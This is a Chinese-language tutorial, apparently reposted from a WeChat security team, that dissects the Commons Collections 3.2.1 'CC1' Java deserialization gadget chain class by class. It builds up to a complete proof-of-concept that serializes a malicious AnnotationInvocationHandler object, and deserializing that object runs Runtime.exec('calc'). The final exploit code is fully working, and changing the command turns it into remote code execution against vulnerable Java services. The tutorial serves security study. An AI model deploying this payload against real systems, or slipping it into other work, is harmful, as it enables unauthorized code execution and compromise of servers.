Java反序列化CommonsCollections-CC1链
你们好,我是Drift,今天我们来分析一下Java反序列化中大名鼎鼎的cc1链,前期的环境配置可以参考我本文末的链接,我们着重一下分析过程。
原作者:Drfit
Commons Collections简介
Commons Collections是Apache软件基金会的一个开源项目,它提供了一组可复用的数据结构和算法的实现,旨在扩展和增强Java集合框架,以便更好地满足不同类型应用的需求。该项目包含了多种不同类型的集合类、迭代器、队列、堆栈、映射、列表、集等数据结构实现,以及许多实用程序类和算法实现。它的代码质量较高,被广泛应用于Java应用程序开发中。本文分析Commons Collections3.2.1版本下的一条最好用的反序列化漏洞链,这条攻击链被称为CC1链(国内版本的)。
我们利用这些漏洞的方法一般是寻找到某个带有危险方法的类,然后溯源,看看哪个类中的方法有调用危险方法(有点像套娃,这个类中的某个方法调用了下个类中的某个方法,一步步套下去,这里表述的可能不是特别清晰,不过没事,慢慢看下去),并且继承了序列化接口,然后再依次向上回溯,直到找到一个重写了readObject方法的类,并且符合条件,那么这个就是起始类,我们可以利用这个类一步步的调用到危险方法(这里以"Runtime中的exec方法为例"),这就是大致的Java漏洞链流程。
Runtime obj = Runtime.getRuntime();
Class c = Class.forName("java.lang.Runtime");
Method method = c.getDeclaredMethod("exec", String.class);
method.setAccessible(true);
method.invoke(obj, "calc");
故事的开始是Transform这个接口,crtl+alt+b看一下实现接口的类,注意到InvokerTransformer,这个类是可序列化的,我们跟进去看一下。
###InvokerTransformer
看到这里使用了反射,这里便于我们进行反射得到Runtime,这个构造方法是可控的,所以我们可以考虑新建一个InvokerTransformer对象,并给他传入参数,达成跟上面原生的命令执行一样的效果。
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
Runtime r = Runtime.getRuntime();
Object obj = new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"}).transform(r);
执行一下,可以看到成功弹出了计算器,我们接着往下走,因为构造反序列化攻击,我们总归要回到readObject()方法,所以我们看看能不能找到一个重写readObject()方法的,我们又可以控制。
InvokerTransformer.transform(),找一个替换掉InvokerTransformer的方法,我们看一下谁还实现了transform这个方法。
###TransformedMap
这里其实他的构造函数是protected受保护的,所以我们还不可以直接调用它,但是这个类中的decorate方法,static在类加载的时候就已经加载进来了,我们是可以直接声明调用的,可以把它当成一个跳板。
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
到这里我们来构造一下exp
入口从decorate()进去,
第一个参数我们就声明一个空的hashMap即可
第二个参数我们控制与否没有意义,所以直接传入null即可
这里第三个参数,为了控制目标方法checkSetValue()中的valueTransformer,我们传入构造好的InvokerTransformer对象即可
当我们初始化decorateMap这个对象出来后,里面只剩下transform()中的value我们没有控制,所以通过反射获取到TransformedMap类,通过触发decorateMap对象中的checkSetValue()方法,传入Runtime()对象即可。
其实最后的效果就是我注释的那一行,没有那么复杂。
Runtime r = Runtime.getRuntime();
// Object obj = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);
HashMap hashMap = new HashMap();
InvokerTransformer obj = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
Map decorateMap = TransformedMap.decorate(hashMap, null, obj);
Class c = Class.forName("org.apache.commons.collections.map.TransformedMap");
Method method = c.getDeclaredMethod("checkSetValue", Object.class);
method.setAccessible(true);
method.invoke(decorateMap, r);
我们接着往下走 看一下谁实现了checkSetValue()方法,这样才能继续往上走。
这里找到了TransformedMap的父类AbstractInputCheckedMapDecorator,他的内部类MapEntry调用了这个方法,这个东西其实就是一个遍历Map的操作,然后下面的setValue()方法对键值对中的value赋值
###AbstractInputCheckedMapDecorator
我们在进行decorate()方法调用,进行Map遍历的时候,就会走到setValue()当中,而 setValue()就会调用checkSetValue()
static class MapEntry extends AbstractMapEntryDecorator {
/** The parent map */
private final AbstractInputCheckedMapDecorator parent;
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}
这里使用一个数组遍历的形式 去触发setValue方法
这里有个理解上的问题 自己调试一下其实也就懂了
Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap, null, invokerTransformer);
这个decorateMap其实就是一个对象 最后返回了hashMap
他就是把这个对象里的checkSetValue()方法中的赋值了而已
参考下面这个图片,第一个参数hashMap传入了进去,最后就是返回了它本身,也就是hashMap,所以我们才可以遍历这个Map。
就是这个意思,当遍历数组的时候就是那个hashMap,这里因为作用域的问题,会先在本类寻找setValue()方法,没有就找父类,所以这里就找到了上述AbstractInputCheckedMapDecorator类中的setValue()方法,进而调用了checkSetValue()方法,传入Runtime()对象,造成命令执行。
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("key", "value");
Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap, null, invokerTransformer);
for (Map.Entry entry:decorateMap.entrySet()){
entry.setValue(runtime);
}
再接着往下走,看谁又实现了setValue()这个方法
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
所以我们考虑使用反射获取这个私有类,这里直接通过反射创建了一个AnnotationInvocationHandler对象。
它的构造函数长这样子,两个参数,一个是Class注解类型,一个是Map类型。
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues)
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("key", "value");
Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap, null, invokerTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihdlConstructor = c.getDeclaredConstructor(Class.class,Map.class);
aihdlConstructor.setAccessible(true);
//实例化对象
Object o = aihdlConstructor.newInstance(Override.class, decorateMap);
serialize(o);
unserializableTest("ser.bin");
问题二:Runtime类是不可以进行序列化的
我们一路用过来的这个Runtime类其实是不可以序列化的,并没有实现序列化那个接口。所以我们得想办法把他搞成可以序列化的形式。
它的class是可以进行序列化的 这里要改写为InvokerTransformer的形式,看一下用纯反射的形式来弹计算器,把它改写为InvokerTransformer的形式。
Class runtime = Runtime.class;
Method method = runtime.getDeclaredMethod("getRuntime"); --获取他的方法
Runtime r = (Runtime) method.invoke(null, null); --新创建一个对象
Method m = runtime.getDeclaredMethod("exec", String.class);
m.invoke(r, "calc");
对照着写,其实还是可以理解的。
写下来其实还是相当于invokertransform.transform("exec")的形式。
但是这样写有点繁琐,我们可不可以再简化一下。
//通过调用Runtime这个类里面的getMethod方法获取getRuntime这个类
Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}).transform(Runtime.class);
//调用invoke方法生成对象
Runtime rs = (Runtime) new InvokerTransformer("invoke",
new Class[]{Object.class,Object[].class},
new Object[]{null,null}).transform(getRuntimeMethod);
//调用对象里的exec方法 进行执行命令
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"}).transform(rs);
###ChainedTransformer
我们可以看到这个类是可以接收一个transformer数组的,我们的Invokertransformer实现了transformer接口,所以这里直接传进去就可以。
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
解决完这个问题,exp就可以写到这步了。
写到这步还有两个问题,就是怎么满足那两个if条件,还有最后的setValue()方法中的值我们怎么控制,如何把Runtime这个类传进去
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",
new Class[]{Object.class,Object[].class},
new Object[]{null,null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); //把它看成之前的invokerTransformer
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("key", "value");
Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihdlConstructor = c.getDeclaredConstructor(Class.class,Map.class);
aihdlConstructor.setAccessible(true);
//实例化对象
Object o = aihdlConstructor.newInstance(Override.class, decorateMap);
serialize(o);
unserializableTest("ser.bin");
第三个问题:怎么满足if条件
这里可以自己调试一下,在第二个问题解决之后的exp,发现第一个if条件就已经gg了。
还有这里依旧要解释一下,到for循环那里,不用想得那么复杂memberValue跟上面解释的同理,他就是我们自己定义的hashMap。
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists //条件1
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) || //条件2
value instanceof ExceptionProxy)) {
memberValue.setValue( //最后我们需要实现的
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
这个name定义出来就是获取hashMap键值对的key。
那么memberType是啥,这个type其实就是Override,但是实际上他啥也没有就是空的,所以我们在Override注解中获取成员方法肯定是获取不到的,那么我们要去找另外的注解。
这里找到了@Target注解,这里面有一个成员方法value(),这样传入,memberType就可以获取到这个方法,这里就不为空了,并且hashMap的key要和这个成员方法的名字对应上。
第四个问题:怎么将最后的那个setValue中的值变为Runtime.class
还缺最后一步就是怎么将Runtime.class传入setValue()里面呢。这里引入了一个很有意思的类。
###ConstantTransformer
可以看到这个类,我们传入什么,当调用transform方法的时候就返回什么,可以把Runtime.class放到这里。
new ConstantTransformer(Runtime.class)作为数组的第一个值,直接传入进去,传入什么返回什么,完成之后object=Runtime.class
最后遍历数组完就是
invokerTransformer.transform(Runtime.class) 完美的闭合掉了
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
这里没有关系,如果不是很清晰,可以进行调试,跟着走一下就理解了。调试断在这里,跟着走一下。
这里调用setValue()的时候调用的是AbstractInputCheckedMapDecorator里面的setValue()方法
在循环那个chainedTransformer数组的时候,第一个调用的就是这个方法,将Runtime.class传入,返回Runtime.class。
就是这个意思,object就等于Runtime.class了,这样我们就又回到了那个形式,chainedTransformer.transform(Runtime.class)。然后遍历完数组就会触发命令执行。
最后贴上完整的POC:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class cc {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(Runtime.class);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value", "vwdwd");
Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
// for (Map.Entry entry:decorateMap.entrySet()){
// entry.setValue(runtime);
// }
//
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihdlConstructor = c.getDeclaredConstructor(Class.class,Map.class);
aihdlConstructor.setAccessible(true);
//实例化对象
Object o = aihdlConstructor.newInstance(Target.class, decorateMap);
//
serialize(o);
unserializableTest("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserializableTest(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object o = ois.readObject();
return o;
}
}
本文结束。
参考链接:
https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4 --sun包拷贝到jdk8u65
Maven Repository: commons-collections » commons-collections » 3.2.1 (mvnrepository.com) --pom依赖(Apache Commons Collections » 3.2.1)
https://xz.aliyun.com/t/12669?time__1311=GqGxuDRiD%3Dit%3DGN4eeqBKeRtD97EWeeCa4D#toc-3 --参考文章
https://mp.weixin.qq.com/s/7fy9koQzwZb8P1btFlmeFw --参考文章
谢谢大家的观看,如果文中有错误,请大家批评指正,相互学习,本次cc1链的分析也是花了作者三天时间,从头到尾走下来,还是很有意义的,这个链子显得尤为重要,希望大家自己分析的时候多点耐心,好事多磨,谁的成功都不是偶然的。
荣耀的背后刻着一道孤独~
原文作者:
原文始发于微信公众号(寒鹭网络安全团队):Java反序列化--cc1链
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论